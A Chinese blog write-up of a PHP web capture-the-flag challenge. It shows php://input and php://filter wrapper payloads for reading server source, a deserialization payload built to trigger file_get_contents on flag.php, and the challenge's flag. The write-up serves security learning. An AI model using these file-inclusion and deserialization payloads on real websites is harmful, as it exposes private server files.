BUUCTF-[ZJCTF 2019]NiZhuanSiWei Writeup

0x00  题目

 

 

 

0x01  解题过程

首先看源码,发现有一个unserialize函数,判断应该是需要序列化什么了。看着代码一步一步来,先过第一关,使得第一个if语句为真。需要通过text变量传一个内容为"welcome to the zjctf"的文件。因此想到php伪协议——php://input。操作一波如下:

 

 

 

 红线操作过的地方,但还划少了一个地方,就是我把GET方法改成了POST方法,并在POST变量中填入welcome to the zjctf,通过text的php://input伪协议传进,得到结果如下:

 

 

 

 证明第一步已经到位了,再看第二步要进入第二个if-else语句的else里面,提示信息的意思应该是要文件包含useless.php,尝试直接网页访问useless.php是会200ok的,但不会显示任何东西。此时就需要想办法看到useless.php的内容。再次联想到php伪协议。这次用到的是php://filter,操作如下:

 

 

 

红线部分是相较上一个张截图的变化的部分,在file变量里传入了:

php://filter/read=convert.base64-encode/resource=useless.php

一波操作得到的结果如下:

 

 

 useless.php的base64encode后的内容就在这里了

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

进行解码后得到的内容如下:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

来到这里,很明显了,要通过Flag类里的__tostring魔法函数调用file_get_contents函数查看flag.php的内容,想要调用__tostring魔法函数:

 

因为这里echo了password变量,所以password传一个Flag类序列化后的的字符串就好,而且Flag类里的file变量赋值为"flag.php"。并且在第二步中的url里的file变量去掉php伪协议部分,留下useless.php就好,操作如下:

先写一个序列化的脚本:

<?php
class Flag{  //flag.php  
    public $file;  
} 
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>

输出的结果如下:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

放到burp上操作:

 

结果如下:

 

 

 到位了。

flag{835b725d-60da-4965-83e4-0ab82acb7553}

 

posted @ 2020-10-29 00:51  M4ny1u  阅读(183)  评论(0编辑  收藏  举报

Email: imanyiu12@foxmail.com